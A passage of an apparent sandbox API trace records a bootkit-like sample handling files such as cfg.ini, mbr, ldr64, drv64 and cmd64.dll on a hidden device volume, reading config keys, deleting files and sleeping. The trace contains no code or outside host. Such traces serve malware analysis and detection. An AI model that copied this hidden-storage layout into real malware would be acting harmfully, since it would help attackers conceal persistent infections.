FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.884] KeLeaveCriticalRegion () [0129.884] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.884] KeEnterCriticalRegion () [0129.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.884] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.884] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.884] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.884] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.884] IdePortDispatch () returned 0x103 [0129.884] KeWaitForMutexObject () returned 0x0 [0129.885] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.885] KeLeaveCriticalRegion () [0129.885] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.885] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.885] KeEnterCriticalRegion () [0129.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.885] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce9000 [0129.885] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.885] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.885] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.885] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.885] IdePortDispatch () returned 0x103 [0129.885] KeWaitForMutexObject () returned 0x0 [0129.885] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.885] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.885] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.885] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.885] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.885] IdePortDispatch () returned 0x103 [0129.885] KeWaitForMutexObject () returned 0x0 [0129.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.885] KeLeaveCriticalRegion () [0129.885] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.886] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.886] KeEnterCriticalRegion () [0129.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.886] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.886] KeLeaveCriticalRegion () [0129.886] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.886] KeEnterCriticalRegion () [0129.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.886] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.886] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.886] KeLeaveCriticalRegion () [0129.886] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.886] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.886] KeEnterCriticalRegion () [0129.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.886] ExFreePoolWithTag (P=0xfffffa8003c08fb0, Tag=0x0) [0129.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.886] KeLeaveCriticalRegion () [0129.886] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.886] ReleaseMutex (hMutex=0xf0) returned 1 [0129.886] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.886] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.886] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.886] KeEnterCriticalRegion () [0129.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.886] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.886] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.886] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.887] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.887] IdePortDispatch () returned 0x103 [0129.887] KeWaitForMutexObject () returned 0x0 [0129.887] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.887] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.887] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.887] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.887] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.887] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05270 [0129.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.887] KeLeaveCriticalRegion () [0129.887] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.887] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.887] KeEnterCriticalRegion () [0129.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.887] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.887] KeLeaveCriticalRegion () [0129.887] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.887] KeEnterCriticalRegion () [0129.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.887] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.887] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.887] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.887] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.887] IdePortDispatch () returned 0x103 [0129.887] KeWaitForMutexObject () returned 0x0 [0129.887] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.887] KeLeaveCriticalRegion () [0129.887] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.888] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.888] KeEnterCriticalRegion () [0129.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.888] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cea000 [0129.888] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.888] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.888] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.888] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.888] IdePortDispatch () returned 0x103 [0129.888] KeWaitForMutexObject () returned 0x0 [0129.888] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.888] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.888] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.888] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.888] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.888] IdePortDispatch () returned 0x103 [0129.888] KeWaitForMutexObject () returned 0x0 [0129.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.888] KeLeaveCriticalRegion () [0129.888] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.889] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.889] KeEnterCriticalRegion () [0129.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.889] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.889] KeLeaveCriticalRegion () [0129.889] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.889] KeEnterCriticalRegion () [0129.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.889] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.889] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.889] KeLeaveCriticalRegion () [0129.889] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.889] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.889] KeEnterCriticalRegion () [0129.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.889] ExFreePoolWithTag (P=0xfffffa8003c05270, Tag=0x0) [0129.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.889] KeLeaveCriticalRegion () [0129.889] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.889] ReleaseMutex (hMutex=0xf0) returned 1 [0129.889] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.889] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.889] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.889] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.889] KeEnterCriticalRegion () [0129.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.889] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.889] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.889] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.889] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.889] IdePortDispatch () returned 0x103 [0129.890] KeWaitForMutexObject () returned 0x0 [0129.890] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.890] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.890] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.890] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.890] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.890] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.890] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.890] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.890] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.890] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.890] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.890] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.890] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.890] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.890] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.890] KeLeaveCriticalRegion () [0129.890] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.890] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.890] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.890] KeEnterCriticalRegion () [0129.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.890] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.890] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.890] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.890] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.890] IdePortDispatch () returned 0x103 [0129.890] KeWaitForMutexObject () returned 0x0 [0129.890] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.890] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.890] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.890] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.890] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.891] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.891] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.891] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.891] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.891] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.891] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.891] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.891] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.891] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.891] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.891] KeLeaveCriticalRegion () [0129.891] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.891] ReleaseMutex (hMutex=0x100) returned 1 [0129.891] Sleep (dwMilliseconds=0x2bf20) [0129.899] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x709f7170, dwHighDateTime=0x1d24fa4)) [0129.899] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.899] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.899] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.899] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.899] KeEnterCriticalRegion () [0129.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.899] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.899] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.899] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.899] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.899] IdePortDispatch () returned 0x103 [0129.899] KeWaitForMutexObject () returned 0x0 [0129.899] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.899] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.899] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.899] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.899] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.899] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07230 [0129.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.899] KeLeaveCriticalRegion () [0129.899] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.899] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.899] KeEnterCriticalRegion () [0129.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.899] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.899] KeLeaveCriticalRegion () [0129.899] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.899] KeEnterCriticalRegion () [0129.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.899] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.900] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.900] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.900] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.900] IdePortDispatch () returned 0x103 [0129.900] KeWaitForMutexObject () returned 0x0 [0129.900] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.900] KeLeaveCriticalRegion () [0129.900] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.900] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.900] KeEnterCriticalRegion () [0129.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.900] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ced000 [0129.900] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.900] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.900] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.900] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.900] IdePortDispatch () returned 0x103 [0129.900] KeWaitForMutexObject () returned 0x0 [0129.900] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.900] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.900] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.900] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.900] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.900] IdePortDispatch () returned 0x103 [0129.900] KeWaitForMutexObject () returned 0x0 [0129.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.901] KeLeaveCriticalRegion () [0129.901] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.901] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.901] KeEnterCriticalRegion () [0129.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.901] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.901] KeLeaveCriticalRegion () [0129.901] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.901] KeEnterCriticalRegion () [0129.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.901] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.901] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.901] ExReleaseFastMutexUnsafe (in: 